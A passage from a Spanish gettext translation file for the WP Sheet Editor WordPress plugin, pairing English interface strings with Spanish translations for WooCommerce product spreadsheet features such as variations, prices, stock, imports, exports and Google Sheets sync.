woocommerce/views/spreadsheet-create-variations-modal.php:56 msgid "" "You can convert simple products into variable products. You can copy " "variations into a simple product and keep the prices from the simple product " "on the variations." msgstr "" "Puedes convertir productos simples en productos variables. Puedes copiar las " "variaciones en un producto simple y mantener los precios del producto simple " "en las variaciones." #: woocommerce/views/spreadsheet-create-variations-modal.php:60 msgid "Only copy new variations" msgstr "Copiar solo las variaciones nuevas" #: woocommerce/views/spreadsheet-create-variations-modal.php:60 msgid "" "The existing variations in the target products will not be edited nor " "overwritten." msgstr "" "Las variaciones existentes en los productos de destino no serán editadas ni " "sobrescritas." #: woocommerce/views/spreadsheet-create-variations-modal.php:64 msgid "Do not copy the variation images?" msgstr "¿No copiar las imágenes de las variaciones?" #: woocommerce/views/spreadsheet-create-variations-modal.php:64 msgid "" "Enable this option if you want to copy all the variation data, except the " "variation image." msgstr "" "Habilita esta opción si quieres copiar todos los datos de la variación, " "excepto la imagen de la variación." #: woocommerce/views/spreadsheet-create-variations-modal.php:67 msgid "" "Warning: Please make a backup before copying variations in case you want to " "undo the changes later." msgstr "" "Advertencia: Por favor, haz una copia de seguridad en caso de que quieras " "deshacer los cambios después." #: woocommerce/views/spreadsheet-create-variations-modal.php:85 msgid "All the variable products" msgstr "Todos los productos variables" #: woocommerce/views/spreadsheet-create-variations-modal.php:96 msgid "Create variations for every combination of attributes?" msgstr "¿Crear variaciones para cada combinación de atributos?" #: woocommerce/views/spreadsheet-create-variations-modal.php:99 msgid "Create this number of variations" msgstr "Crear este número de variaciones" #: woocommerce/views/spreadsheet-search-on-variation.php:3 msgid "Search on variations?" msgstr "¿Buscar variaciones?" #: woocommerce/views/spreadsheet-search-on-variation.php:3 msgid "" "All the parameters will be used to search on variations instead of the main " "products." msgstr "" "Todos los parámetros se utilizarán para buscar variaciones en lugar de los " "productos principales." #: woocommerce/views/variation-metabox-shortcut.php:10 msgid "" "WP Sheet Editor: You can view all these variations and edit them all " "at once in our spreadsheet. Open in a " "spreadsheet" msgstr "" "WP Sheet Editor: Puedes ver todas estas variaciones y editarlas todas " "a la vez en nuestra hoja de cálculo. Abrir " "en una hoja de cálculo" #: woocommerce/woocommerce.php:181 msgid "Remove duplicates by sku (delete the latest)" msgstr "Borrar duplicados por SKU (borrar los más nuevos)" #: woocommerce/woocommerce.php:189 msgid "Remove duplicates by sku (delete the oldest)" msgstr "Borrar duplicados por SKU (borrar los más viejos)" #: woocommerce/woocommerce.php:213 msgid "Copy regular price and decrease number" msgstr "Copiar el precio normal y disminuir en cantidad" #: woocommerce/woocommerce.php:230 msgid "Copy regular price and decrease by percentage" msgstr "Copiar precio normal y disminuir en porcentaje" #: woocommerce/woocommerce.php:278 msgid "Copy variations faster: Number of variations to copy per batch" msgstr "Copiar variaciones más rápido: Número de variaciones a copiar por lote" #: woocommerce/woocommerce.php:279 msgid "" "Here you can control the batch size for the copy of variations. If you use a " "high number the copy will finish faster but it can saturate your server. We " "recommend a low value like 50 so it will not saturate your server although " "it might be slower" msgstr "" "Aquí puedes controlar cuántas variaciones copiaremos en cada tanda. Si usas " "un valor alto, la copia terminará más rápido pero puede saturar tu servidor. " "Recomendamos copiar 50 por tanda." #: woocommerce/woocommerce.php:284 msgid "WooCommerce products" msgstr "Productos WooCommerce" #: woocommerce/woocommerce.php:289 msgid "Disable product inventory stats?" msgstr "¿Deshabilitar las estadísticas de inventario de productos?" #: woocommerce/woocommerce.php:290 msgid "" "The WooCommerce products spreadsheet automatically generates inventory units " "and inventory price stats and shows the stats above the spreadsheet. This " "can slow down the sheet if you have several thousand products. Disable it if " "the spreadsheet is too slow or you see errors when loading rows." msgstr "" "La hoja de cálculo de productos de WooCommerce genera automáticamente las " "unidades de inventario y las estadísticas de precios de inventario y muestra " "las estadísticas encima de la hoja de cálculo. Esto puede ralentizar la hoja " "si tienes varios miles de productos. Desactívalo si la hoja de cálculo es " "demasiado lenta o ves errores al cargar las filas." #: woocommerce/woocommerce.php:296 msgid "Use separate columns for images during export and import?" msgstr "" "¿Usar columnas separadas para las imágenes durante la exportación e " "importación?" #: woocommerce/woocommerce.php:297 msgid "" "By default, we export and import one column named \"Images\" with the " "featured image and gallery images combined. Activate this option to export " "and import one column with featured image and one column with gallery images" msgstr "" "Por defecto, exportamos e importamos una columna llamada \"Imágenes\" con la " "imagen destacada y galería combinada. Habilita esta opción para exportar e " "importar una columna para la imagen destacada y una para la galería de " "imágenes." #: woocommerce/woocommerce.php:303 msgid "" "Disable the automatic activation of \"used for variations\" for attributes " "on variable products?" msgstr "" "¿Deshabilitar la activación automática de la opción \"Usar para " "variaciones\" para los atributos en los productos variables?" #: woocommerce/woocommerce.php:304 msgid "" "By default, if the product is variable, we activate \"used for variations\" " "to save you time, so you can create your variations faster. But if you " "prefer to manually activate it on specific attributes, you can activate this " "option." msgstr "" "Por defecto, si el producto es variable, activamos la opción \"Usar para " "variaciones\" para ahorrarte tiempo y que puedas crear tus variaciones más " "rápido. Pero si prefieres activar esa opción manualmente en atributos " "específicos, puedes activar esta opción." #: woocommerce/woocommerce.php:310 msgid "" "Disable the automatic activation of \"is visible\" for attributes on " "products?" msgstr "" "¿Deshabilitar la activación automática de la opción \"Es visible\" para los " "atributos de los productos?" #: woocommerce/woocommerce.php:311 msgid "" "By default, we make the attributes visible in the products when you save any " "attribute in the spreadsheet to save you time, but if you prefer to manually " "activate it on specific attributes, you can activate this option." msgstr "" "Por defecto, hacemos visibles los atributos en los productos cuando guardas " "cualquier atributo en la hoja de cálculo para ahorrarte tiempo, pero si " "prefieres habilitar esta opción manualmente en atributos específicos, puedes " "activar esta opción." #: woocommerce/woocommerce.php:317 msgid "Product attributes not visible" msgstr "Atributos de producto no visibles" #: woocommerce/woocommerce.php:318 msgid "" "The plugin will mark as visible all the attributes that DONT contain these " "keywords in the attribute key, enter multiple separated by comma. I.e. " "\"car, airplane\" would match \"Car model, Car marker, Expensive Airplane, " "airplanes\". This applies after editing a product in the spreadsheet cells." msgstr "" "El plugin marcará como visibles todos los atributos que NO contengan estas " "palabras clave en la clave del atributo, ingresa varias separadas por comas. " "Por ejemplo, \"coche, avión\" coincidiría con \"Modelo de coche, Marca de " "coche, Avión caro, Aviones\". Esto se aplica después de editar un producto " "en las celdas de la hoja de cálculo." #: woocommerce/woocommerce.php:323 msgid "Product attributes not used for variations" msgstr "Atributos de producto no usados para las variaciones" #: woocommerce/woocommerce.php:324 msgid "" "The plugin will mark as used for variations all the attributes that DONT " "contain these keywords in the attribute key, enter multiple separated by " "comma. I.e. \"car, airplane\" would match \"Car model, Car marker, Expensive " "Airplane, airplanes\". This applies after editing a product in the " "spreadsheet cells." msgstr "" "El plugin marcará como usados para variaciones todos los atributos que NO " "contengan estas palabras clave en la clave del atributo, ingresa varias " "separadas por comas. Por ejemplo, \"coche, avión\" coincidiría con \"Modelo " "de coche, Marca de coche, Avión caro, Aviones\". Esto se aplica después de " "editar un producto en las celdas de la hoja de cálculo." #: woocommerce/woocommerce.php:329 msgid "Maximum number of variations per combination of attributes" msgstr "Número máximo de variaciones por combinación de atributos" #: woocommerce/woocommerce.php:330 msgid "" "The \"Create variations\" tool allows you to create variation based on the " "combination of attributes. The default limit is 200 variations to not " "overload your server. You can increase the limit here if you need more " "variations." msgstr "" "La herramienta \"Crear variaciones\" te permite crear variaciones basadas en " "la combinación de atributos. El límite por defecto es de 200 variaciones " "para no sobrecargar tu servidor. Puedes aumentar el límite aquí si necesitas " "más variaciones." #: woocommerce/woocommerce.php:335 msgid "Custom attribute names" msgstr "Nombres de atributos personalizados" #: woocommerce/woocommerce.php:336 msgid "We will create columns for these custom attributes." msgstr "Crearemos columnas para estos atributos personalizados." #: woocommerce/woocommerce.php:341 msgid "Allow to see the variation URL slug?" msgstr "¿Permitir ver el slug de la URL de la variación?" #: woocommerce/woocommerce.php:342 msgid "" "Variations dont use URL slugs but this can be useful if you want to see the " "previous URL of the variation after you converted a simple product into a " "variation." msgstr "" "Las variaciones no usan URL slugs pero esto puede ser útil si quieres ver la " "URL anterior de la variación después de convertir un producto simple en una " "variación." #: woocommerce/woocommerce.php:348 msgid "Update the lookup table and run the WC Webhooks always?" msgstr "" "¿Actualizar la tabla de consulta y ejecutar siempre los Webhooks de " "WooCommerce?" #: woocommerce/woocommerce.php:349 msgid "" "By default, for performance reasons, we trigger the WC API events when " "fields related to WC are edited: Prices, SKU, Stock, Attributes, Images, " "Type. Activate this option if you want to trigger the WC API events when any " "field is edited, including fields unrelated to WC." msgstr "" "Por defecto, por razones de rendimiento, activamos los eventos de la API WC " "cuando se editan los campos relacionados con WC: Precios, SKU, Existencias, " "Atributos, Imágenes, Tipo. Activa esta opción si quieres activar los eventos " "de la API de WC cuando se edite cualquier campo, incluidos los campos no " "relacionados con WC." #. translators: %d: Attribute number #: woocommerce/woocommerce.php:403 woocommerce/woocommerce.php:422 msgid "Attribute name" msgstr "Nombre del atributo" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:405 woocommerce/woocommerce.php:424 msgid "Attribute value(s)" msgstr "Valor(es) del atributo" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:407 woocommerce/woocommerce.php:426 msgid "Attribute visibility" msgstr "Visibilidad del atributo" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:409 woocommerce/woocommerce.php:428 msgid "Is a global attribute?" msgstr "¿Es un atributo global?" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:411 woocommerce/woocommerce.php:430 msgid "Default attribute" msgstr "Atributo por defecto" #. translators: %d: Download number #: woocommerce/woocommerce.php:413 woocommerce/woocommerce.php:432 msgid "Download name" msgstr "Nombre de la descarga" #. translators: %d: Download number #: woocommerce/woocommerce.php:415 woocommerce/woocommerce.php:434 msgid "Download URL" msgstr "URL de la descarga" #. translators: %d: Meta number #: woocommerce/woocommerce.php:417 msgid "Meta: %s" msgstr "Meta: %s" #. translators: %d: Meta number #: woocommerce/woocommerce.php:417 woocommerce/woocommerce.php:436 msgid "Import as meta data" msgstr "Importar como metadatos" #: woocommerce/woocommerce.php:418 wp-sheet-editor/dev/inc/ajax.php:358 msgid "Tags" msgstr "Etiquetas" #: woocommerce/woocommerce.php:418 woocommerce/woocommerce.php:437 msgid "Tags (comma separated)" msgstr "Etiquetas (separadas por comas)" #: woocommerce/woocommerce.php:514 msgid "Inventory" msgstr "Inventario" #: woocommerce/woocommerce.php:576 msgid "" "We need to reload the spreadsheet rows to load the variations. Please save " "your changes first or you will lose those changes. Do you want to reload now?" msgstr "" "Necesitamos recargar las filas de la hoja de cálculo para cargar las " "variaciones. Por favor, guarda los cambios primero o los perderás. ¿Quieres " "recargar ahora?" #: woocommerce/woocommerce.php:577 msgid "" "We need to reload the Spreadsheet to remove the variations. Please save your " "changes first or you will lose those changes. Do you want to reload now?" msgstr "" "Necesitamos recargar la hoja de cálculo para eliminar las variaciones. Por " "favor, guarda los cambios primero o los perderás. ¿Quieres recargar ahora?" #: woocommerce/woocommerce.php:625 #: wp-sheet-editor/dev/inc/teasers/post-types.php:109 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:461 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:462 msgid "Short description" msgstr "Descripción corta" #: woocommerce/woocommerce.php:629 #: wp-sheet-editor/dev/inc/teasers/post-types.php:121 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:466 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:467 msgid "Enable reviews" msgstr "Habilitar las valoraciones" #: woocommerce/woocommerce.php:651 wp-sheet-editor/dev/inc/api/helpers.php:540 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:976 msgid "..." msgstr "..." #: woocommerce/woocommerce.php:682 msgid "Vendor" msgstr "Vendedor" #: woocommerce/woocommerce.php:722 msgid "Product gallery" msgstr "Galería del producto" #: woocommerce/woocommerce.php:737 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:509 msgid "SKU" msgstr "SKU" #: woocommerce/woocommerce.php:750 #: wp-sheet-editor/dev/inc/teasers/post-types.php:112 msgid "Regular price" msgstr "Precio normal" #: woocommerce/woocommerce.php:765 #: wp-sheet-editor/dev/inc/teasers/post-types.php:111 msgid "Sale price" msgstr "Precio rebajado" #: woocommerce/woocommerce.php:778 msgid "Sale start date" msgstr "Fecha inicial del precio rebajado" #: woocommerce/woocommerce.php:804 msgid "Sale end date" msgstr "Fecha final del precio rebajado" #: woocommerce/woocommerce.php:829 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:594 msgid "Manage stock" msgstr "Gestionar de inventario" #: woocommerce/woocommerce.php:849 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:612 msgid "Stock status" msgstr "Estado del inventario" #: woocommerce/woocommerce.php:866 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:630 msgid "Stock" msgstr "Inventario" #: woocommerce/woocommerce.php:879 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:547 msgid "Weight" msgstr "Peso (kg)" #: woocommerce/woocommerce.php:890 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:559 msgid "Width" msgstr "Anchura" #: woocommerce/woocommerce.php:901 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:571 msgid "Height" msgstr "Altura" #: woocommerce/woocommerce.php:912 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:583 msgid "Length" msgstr "Longitud" #: woocommerce/woocommerce.php:922 msgid "Cross-sells" msgstr "Ventas cruzadas" #: woocommerce/woocommerce.php:929 woocommerce/woocommerce.php:946 msgid "Enter multiple SKUs or IDs separated by commas" msgstr "Ingresa varios SKUs o IDs separados por comas" #: woocommerce/woocommerce.php:939 msgid "Upsells" msgstr "Ventas dirigidas" #: woocommerce/woocommerce.php:958 #: wp-sheet-editor/dev/inc/teasers/post-types.php:116 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:642 msgid "Visibility" msgstr "Visibilidad" #: woocommerce/woocommerce.php:974 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:684 msgid "Virtual" msgstr "Virtual" #: woocommerce/woocommerce.php:993 #: wp-sheet-editor/dev/inc/teasers/post-types.php:119 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:724 msgid "Sold individually" msgstr "Vendido individualmente" #: woocommerce/woocommerce.php:1010 msgid "Is featured?" msgstr "Es destacado?" #: woocommerce/woocommerce.php:1028 msgid "Backorders allowed?" msgstr "¿Permitir reservas?" #: woocommerce/woocommerce.php:1034 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:762 msgid "Do not allow" msgstr "No permitir" #: woocommerce/woocommerce.php:1035 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:763 msgid "Allow, but notify customer" msgstr "Permitir, pero se avisará al cliente" #: woocommerce/woocommerce.php:1036 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:764 msgid "Allow" msgstr "Permitir" #: woocommerce/woocommerce.php:1049 #: wp-sheet-editor/dev/inc/teasers/post-types.php:120 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:776 msgid "Purchase note" msgstr "Nota de compra" #: woocommerce/woocommerce.php:1061 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:789 msgid "Shipping class" msgstr "Clase de envío" #: woocommerce/woocommerce.php:1076 msgid "Average rating" msgstr "Puntuación media" #: woocommerce/woocommerce.php:1086 msgid "Review count" msgstr "Recuento de valoraciones" #: woocommerce/woocommerce.php:1096 msgid "Total sales" msgstr "Ventas totales" #: wp-sheet-editor/dev/inc/ajax.php:40 msgid "Rows deleted successfully" msgstr "Filas eliminadas con éxito" #: wp-sheet-editor/dev/inc/ajax.php:76 msgid "You dont have enough permissions to load rows." msgstr "No tienes suficientes permisos para cargar filas." #: wp-sheet-editor/dev/inc/ajax.php:123 wp-sheet-editor/dev/inc/ajax.php:240 #: wp-sheet-editor/dev/inc/ajax.php:244 msgid "You dont have enough permissions to save changes." msgstr "No tienes suficientes permisos para guardar los cambios." #: wp-sheet-editor/dev/inc/ajax.php:148 msgid "Changes saved successfully" msgstr "Los cambios se guardaron con éxito" #: wp-sheet-editor/dev/inc/ajax.php:163 msgid "You dont have enough permissions to create new rows." msgstr "No tienes suficientes permisos para crear nuevas filas." #: wp-sheet-editor/dev/inc/ajax.php:218 msgid "No items found." msgstr "No se han encontrado artículos." #: wp-sheet-editor/dev/inc/ajax.php:269 msgid "Saved: %s" msgstr "Guardado: %s" #: wp-sheet-editor/dev/inc/ajax.php:288 wp-sheet-editor/dev/inc/ajax.php:313 #: wp-sheet-editor/dev/inc/ajax.php:386 msgid "You dont have enough permissions to search taxonomy terms." msgstr "No tienes suficientes permisos para buscar taxonomías." #: wp-sheet-editor/dev/inc/ajax.php:336 msgid "No taxonomies found." msgstr "No se han encontrado taxonomías." #: wp-sheet-editor/dev/inc/api/bootstrap.php:107 msgid "Open in a Spreadsheet" msgstr "Abrir en una Hoja de Cálculo" #: wp-sheet-editor/dev/inc/api/bootstrap.php:132 #: wp-sheet-editor/dev/inc/api/columns.php:314 #: wp-sheet-editor/dev/inc/teasers/post-types.php:61 msgid "Edit %s" msgstr "Editar %s" #: wp-sheet-editor/dev/inc/api/bootstrap.php:209 #: wp-sheet-editor/dev/views/support-modal.php:6 #: wp-sheet-editor/dev/views/usage-stats-widget.php:126 msgid "Help" msgstr "Ayuda" #: wp-sheet-editor/dev/inc/api/bootstrap.php:223 #: wp-sheet-editor/dev/views/whats-new.php:45 #: wp-sheet-editor/dev/wp-sheet-editor.php:1148 msgid "Extensions" msgstr "Extensiones" #: wp-sheet-editor/dev/inc/api/bootstrap.php:238 #: wp-sheet-editor/dev/views/editor-page.php:159 msgid "Global sort" msgstr "Orden global" #: wp-sheet-editor/dev/inc/api/bootstrap.php:250 msgid "We'll reload the spreadsheet when you change this option." msgstr "Recargaremos la hoja de cálculo cuando cambies esta opción." #: wp-sheet-editor/dev/inc/api/bootstrap.php:252 msgid "Sort" msgstr "Ordenar" #: wp-sheet-editor/dev/inc/api/bootstrap.php:277 #: wp-sheet-editor/dev/inc/api/editor.php:351 msgid "You can create new items here" msgstr "Puedes crear nuevas filas aquí" #: wp-sheet-editor/dev/inc/api/bootstrap.php:288 msgid "Load" msgstr "Cargar" #: wp-sheet-editor/dev/inc/api/bootstrap.php:299 msgid "Exit Full Screen" msgstr "Salir del modo de Pantalla Completa" #: wp-sheet-editor/dev/inc/api/bootstrap.php:310 msgid "Show cells as simple text" msgstr "Mostrar las celdas como texto simple" #: wp-sheet-editor/dev/inc/api/bootstrap.php:313 msgid "" "By default dates show in a calendar, post content has a text editor option, " "images show preview, etc. you can enable this option to display everything " "as plain text and disable the fancy formatting." msgstr "" "Por defecto, las fechas se muestran en un calendario, el contenido del post " "tiene una opción de editor de texto, las imágenes muestran una vista previa, " "etc. Puedes habilitar esta opción para que se muestre todo como texto sin " "formato y deshabilitar el formato elegante." #: wp-sheet-editor/dev/inc/api/bootstrap.php:324 msgid "Load more on scroll" msgstr "Cargar más al hacer scroll" #: wp-sheet-editor/dev/inc/api/bootstrap.php:327 msgid "" "When this is enabled more items will be loaded to the bottom of the " "spreadsheet when you reach the end of the page" msgstr "" "Cuando esta opción está habilitada, se cargarán más elementos en la parte " "inferior de la hoja de cálculo cuando llegues al final de la página" #: wp-sheet-editor/dev/inc/api/bootstrap.php:339 msgid "Scan DB to find fields" msgstr "Escanear la BD para encontrar campos" #: wp-sheet-editor/dev/inc/api/bootstrap.php:343 msgid "" "We can scan the database, find new fields, and create columns automatically " "for the supported fields." msgstr "" "Podemos escanear la base de datos, encontrar nuevos campos y crear columnas " "automáticamente para los campos soportados." #: wp-sheet-editor/dev/inc/api/bootstrap.php:358 #: wp-sheet-editor/dev/inc/api/bootstrap.php:359 msgid "All changes saved." msgstr "Todos los cambios fueron guardados." #: wp-sheet-editor/dev/inc/api/bootstrap.php:358 msgid "Saving changes, don't close this page." msgstr "Guardando cambios, por favor no cierres esta página." #: wp-sheet-editor/dev/inc/api/bootstrap.php:358 msgid "Some changes are not saved yet." msgstr "Algunos cambios no han sido guardados todavía." #: wp-sheet-editor/dev/inc/api/bootstrap.php:518 #: wp-sheet-editor/dev/inc/api/bootstrap.php:544 msgid "Content" msgstr "Contenido" #: wp-sheet-editor/dev/inc/api/bootstrap.php:529 msgid "" "Use this editor to edit the content only, other fields like tags and " "categories should be edited on the spreadsheet." msgstr "" "Usa este editor para editar sólo el contenido, otros campos como etiquetas y " "categorías deben ser editados en la hoja de cálculo." #: wp-sheet-editor/dev/inc/api/bootstrap.php:569 #: wp-sheet-editor/dev/inc/api/editor.php:378 msgid "WP Editor" msgstr "Editor de WP" #: wp-sheet-editor/dev/inc/api/bootstrap.php:593 msgid "View" msgstr "Ver" #: wp-sheet-editor/dev/inc/api/bootstrap.php:643 msgid "Modified Date" msgstr "Fecha de modificación" #: wp-sheet-editor/dev/inc/api/bootstrap.php:682 msgid "Excerpt" msgstr "Extracto" #: wp-sheet-editor/dev/inc/api/bootstrap.php:695 msgid "Delete completely" msgstr "Eliminar completamente" #: wp-sheet-editor/dev/inc/api/bootstrap.php:774 msgid "Order" msgstr "Orden" #: wp-sheet-editor/dev/inc/api/bootstrap.php:837 msgid "Enter multiple terms separated by %s" msgstr "Ingresa varios términos separados por %s" #: wp-sheet-editor/dev/inc/api/bootstrap.php:866 msgid "Post type" msgstr "Post type" #: wp-sheet-editor/dev/inc/api/bootstrap.php:890 msgid "Password" msgstr "Contraseña" #: wp-sheet-editor/dev/inc/api/editor.php:207 msgid "" "\n" "(You can remove these help messages in the advanced settings)" msgstr "" "\n" "(Puedes remover estos mensajes de ayuda en los ajustes avanzados)" #: wp-sheet-editor/dev/inc/api/editor.php:226 msgid "Pro" msgstr "Pro" #: wp-sheet-editor/dev/inc/api/editor.php:227 msgid "Enable" msgstr "Habilitar" #: wp-sheet-editor/dev/inc/api/editor.php:283 msgid "Please select at least one column to import" msgstr "Por favor, selecciona al menos una columna a importar" #: wp-sheet-editor/dev/inc/api/editor.php:284 msgid "Show column key" msgstr "Mostrar la clave de la columna" #: wp-sheet-editor/dev/inc/api/editor.php:285 msgid "" "This is the dynamic tag for this column. You can copy this and use it in the " "bulk edit tool" msgstr "" "Esta es una etiqueta dinámica para esta columna. Puedes copiar esto y usarlo " "en la herramienta de edición masiva" #: wp-sheet-editor/dev/inc/api/editor.php:286 msgid "Click here to show all columns again" msgstr "Haz clic aquí para ver todas las columnas otra vez" #: wp-sheet-editor/dev/inc/api/editor.php:287 msgid "" "The last import batch failed due to a server error, it's more likely that " "the server got overloaded.
                  1- You can try importing fewer rows per batch (i.e. import 2 rows " "every few seconds).
                  2- You can start a new import, sometimes trying again " "works (use the \"advanced settings\" in the step 1 of the import to start " "from a specific row).
                  3- You can increase the php memory following this tutorial
                  4- If the problem happens " "after trying with 1 row per batch, you can contact us and we will make it work for you" msgstr "" "El último lote de importación falló debido a un error del servidor, es más " "probable que el servidor se haya sobrecargado.
                  1- Puedes intentar importar menos filas por lote (es decir, " "importar 2 filas cada pocos segundos).
                  2- Puedes iniciar una nueva " "importación, a veces intentarlo de nuevo funciona (usa los \"Ajustes " "avanzados\" en el paso 1 de la importación para empezar desde una fila " "específica).
                  3- Puedes incrementar la memoria php siguiendo este tutorial
                  4- Si el problema ocurre " "después de intentarlo con 1 fila por lote, puedes contactar con nosotros y te ayudaremos." #: wp-sheet-editor/dev/inc/api/editor.php:288 msgid "" "Your server was not able to process this batch. Do you want to try again? " "You can retry 3 times, If 3 attempts fail we will stop the import completely." msgstr "" "Tu servidor no fue capaz de procesar este lote. ¿Quieres intentarlo de " "nuevo? Puedes volver a intentarlo 3 veces, y si los 3 intentos fallan, " "pararemos la importación completamente." #: wp-sheet-editor/dev/inc/api/editor.php:289 msgid "" "Please correct the error in the file and start a new import. You can use the " "\"Advanced options\" in the step 1 of the import to start from this specific " "row." msgstr "" "Por favor, corrige el error en el archivo e inicia una nueva importación. " "Puedes usar las \"Opciones avanzadas\" en el paso 1 de la importación para " "empezar desde esta fila específica." #: wp-sheet-editor/dev/inc/api/editor.php:290 msgid "

                  The import has finished

                  " msgstr "

                  La importación ha terminado

                  " #: wp-sheet-editor/dev/inc/api/editor.php:291 msgid "" "

                  The export has been scheduled. You can close this popup. View scheduled exports." msgstr "" "

                  La exportación se ha programado. Puedes cerrar esta ventana emergente. Ver las " "exportaciones programadas.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:292 msgid "" "

                  The import has been scheduled. You can close this popup. View scheduled imports." msgstr "" "

                  La importación ha sido programada. Puedes cerrar esta ventana emergente. " "Ver las " "importaciones programadas.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:293 msgid "" "

                  The changes have been scheduled. You can close this popup. View scheduled changes." "

                  " msgstr "" "

                  Los cambios han sido programados. Puedes cerrar esta ventana emergente. " "Ver los " "cambios programados.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:294 msgid "" "

                  The bulk edit has been scheduled. You can close this popup. View scheduled bulk " "edits.

                  " msgstr "" "

                  El cambio masivo ha sido programado. Puedes cerrar esta ventana " "emergente. Ver los cambios masivos " "programados.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:295 msgid "Modified cells" msgstr "Celdas modificadas" #: wp-sheet-editor/dev/inc/api/editor.php:296 msgid "The export has been edited successfully" msgstr "La exportación ha sido editada con éxito" #: wp-sheet-editor/dev/inc/api/editor.php:297 msgid "" "The list of Google Sheets files has been refreshed. Please search your file " "again." msgstr "" "La lista de archivos de Google Sheets se ha actualizado. Vuelve a buscar tu " "archivo." #: wp-sheet-editor/dev/inc/api/editor.php:298 msgid "" "This will disconnect your Google account from WP Sheet Editor which will " "stop all sync jobs configured with that Google account across all your " "WordPress sites. But other users can connect their own Google account, so " "other users' sync jobs linked to their own Google accounts will remain " "unaffected. Are you sure you want to disconnect your Google account " "completely?" msgstr "" "Esto desconectará tu cuenta de Google de WP Sheet Editor, lo que detendrá " "todas las tareas de sincronización configuradas con esa cuenta de Google en " "todos tus sitios de WordPress. Sin embargo, otros usuarios pueden conectar " "su propia cuenta de Google, por lo que las tareas de sincronización de otros " "usuarios vinculadas a sus propias cuentas de Google no se verán afectadas. " "¿Estás seguro de que quieres desconectar tu cuenta de Google por completo?" #: wp-sheet-editor/dev/inc/api/editor.php:299 msgid "" "Disconnecting the current site from your Google account and the WP Sheet " "Editor API will pause the sync jobs you created on this site. However, sync " "jobs created by other users on this site, which sync to their own Google " "accounts, will remain active. Your other WordPress sites will continue to " "function normally. Do you want to continue?" msgstr "" "Si desconectas el sitio actual de tu cuenta de Google y de la API de WP " "Sheet Editor, se detendrán las tareas de sincronización que hayas creado en " "este sitio. Sin embargo, las tareas de sincronización creadas por otros " "usuarios en este sitio, que se sincronizan con sus propias cuentas de " "Google, permanecerán activas. Tus otros sitios de WordPress seguirán " "funcionando con normalidad. ¿Quieres continuar?" #: wp-sheet-editor/dev/inc/api/editor.php:300 msgid "The bulk edit has been edited successfully" msgstr "El cambio masivo ha sido editado con éxito" #: wp-sheet-editor/dev/inc/api/editor.php:301 msgid "The import has been edited successfully" msgstr "La importación ha sido editada con éxito" #: wp-sheet-editor/dev/inc/api/editor.php:302 msgid "Name of this export" msgstr "Nombre de esta exportación" #: wp-sheet-editor/dev/inc/api/editor.php:303 msgid "" "Are you sure you want to delete this scheduled job and all its related files?" msgstr "" "¿Estás seguro de que quieres eliminar esta tarea programada y todos sus " "archivos relacionados?" #: wp-sheet-editor/dev/inc/api/editor.php:304 msgid "Are you sure you want to delete this columns view?" msgstr "¿Estás seguro de que quieres eliminar esta vista de columnas?" #: wp-sheet-editor/dev/inc/api/editor.php:306 msgid "

                  The process has finished

                  " msgstr "

                  El proceso ha terminado

                  " #: wp-sheet-editor/dev/inc/api/editor.php:307 msgid "The selected product does not have variations" msgstr "El producto seleccionado no tiene variaciones" #: wp-sheet-editor/dev/inc/api/editor.php:308 msgid "empty" msgstr "vacío" #: wp-sheet-editor/dev/inc/api/editor.php:309 msgid "This will save you {clicks_count} clicks :)" msgstr "Esto te ahorrará {clicks_count} clics :)" #: wp-sheet-editor/dev/inc/api/editor.php:310 msgid "" "We found similar columns. Do you want to apply the same action to them? " "{columns}" msgstr "" "Encontramos columnas similares. ¿Quieres aplicarles la misma acción? " "{columns}" #: wp-sheet-editor/dev/inc/api/editor.php:311 msgid "" "This column is only for variation rows, parent products don't use this field" msgstr "" "Esta columna es sólo para las filas de variaciones, los productos padre no " "usan este campo" #: wp-sheet-editor/dev/inc/api/editor.php:312 msgid "Editing the field: {field_label}" msgstr "Editando el campo: {field_label}" #: wp-sheet-editor/dev/inc/api/editor.php:313 msgid "Column not found. Try with another search criteria." msgstr "Columna no encontrada. Intenta con otro criterio de búsqueda." #: wp-sheet-editor/dev/inc/api/editor.php:314 msgid "" "This column is for parent products only, variations don't use this field" msgstr "" "Esta columna es sólo para los productos padre, las variaciones no usan este " "campo" #: wp-sheet-editor/dev/inc/api/editor.php:315 msgid "Paste using keyboard: Ctrl+V" msgstr "Pegar con el teclado: Ctrl+V" #: wp-sheet-editor/dev/inc/api/editor.php:316 msgid "Realign cells" msgstr "Realinear celdas" #: wp-sheet-editor/dev/inc/api/editor.php:317 msgid "Remove all filters" msgstr "Eliminar todos los filtros" #: wp-sheet-editor/dev/inc/api/editor.php:318 msgid "Resize columns based on the values" msgstr "Redimensionar las columnas en base a los valores" #: wp-sheet-editor/dev/inc/api/editor.php:319 msgid "Delete row" msgstr "Borrar fila" #: wp-sheet-editor/dev/inc/api/editor.php:320 msgid "" "Do you want to delete {rows_number} rows from the database completely? If " "you want to restore them later, you should make a backup before." msgstr "" "Quieres borrar {rows_number} filas de la base de datos completamente? Si " "quieres restaurarlas después, deberías hacer una copia de seguridad antes." #: 